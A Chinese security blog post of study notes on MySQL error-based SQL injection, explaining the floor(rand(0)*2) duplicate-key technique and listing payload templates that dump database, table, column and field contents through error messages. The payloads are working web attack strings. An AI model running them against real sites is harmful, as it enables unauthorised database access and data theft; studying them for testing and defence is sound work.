SQL injection 之 (Error injection)

admin 2018年5月7日21:36:58评论988 views字数 1908阅读6分21秒阅读模式
摘要

以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过。这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩固复习。


0x01 介绍

以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过。这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩固复习。

0x02分析

总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

公式具体如下

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 

我们在这个语句中其实已经可以看到了普通注入的影子,第五个select子句的version()处显示了数据库使用的版本,后面的information_schema.tables显示的就是我们在mysql中对应的系统表信息,第三个子句的limit用于控制遍历数据库的每一条记录。

注意的是,我们一般手工注入使用limit时,都是使用limit 0,1;limit,1,2;limit 2,3……这种模式去依次遍历数据库的每个项目。

但是要注意这里的遍历方式需要调整:变成了limit 0,1;limit1,1;limit 2,1……这种形式

0x03 语句

搞清楚了语句的公式,剩下的注入过程就跟我们普通的注入很像了,只需要调整语句对应的结构即可:

汇总如下:

1、暴数据库:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata  limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 

2、暴数据表:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=库名的十六进制  limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 

3、暴列名:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 

4、暴字段:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 

总结起来,就是一套已经成型的公式,然后用普通注入的方法进行注入就好了

0x04 参考文献

http://blog.csdn.net/xiaoshan812613234/article/details/38516723
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
https://www.waitalone.cn/mysql-error-based-injection.html
https://www.cnblogs.com/hookjoy/p/3809531.html
http://www.91ri.org/9000.html
http://blog.csdn.net/zvall/article/details/50113089
http://www.moonsec.com/post-579.html

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2018年5月7日21:36:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL injection 之 (Error injection)https://cn-sec.com/archives/50588.html

发表评论

匿名网友 填写信息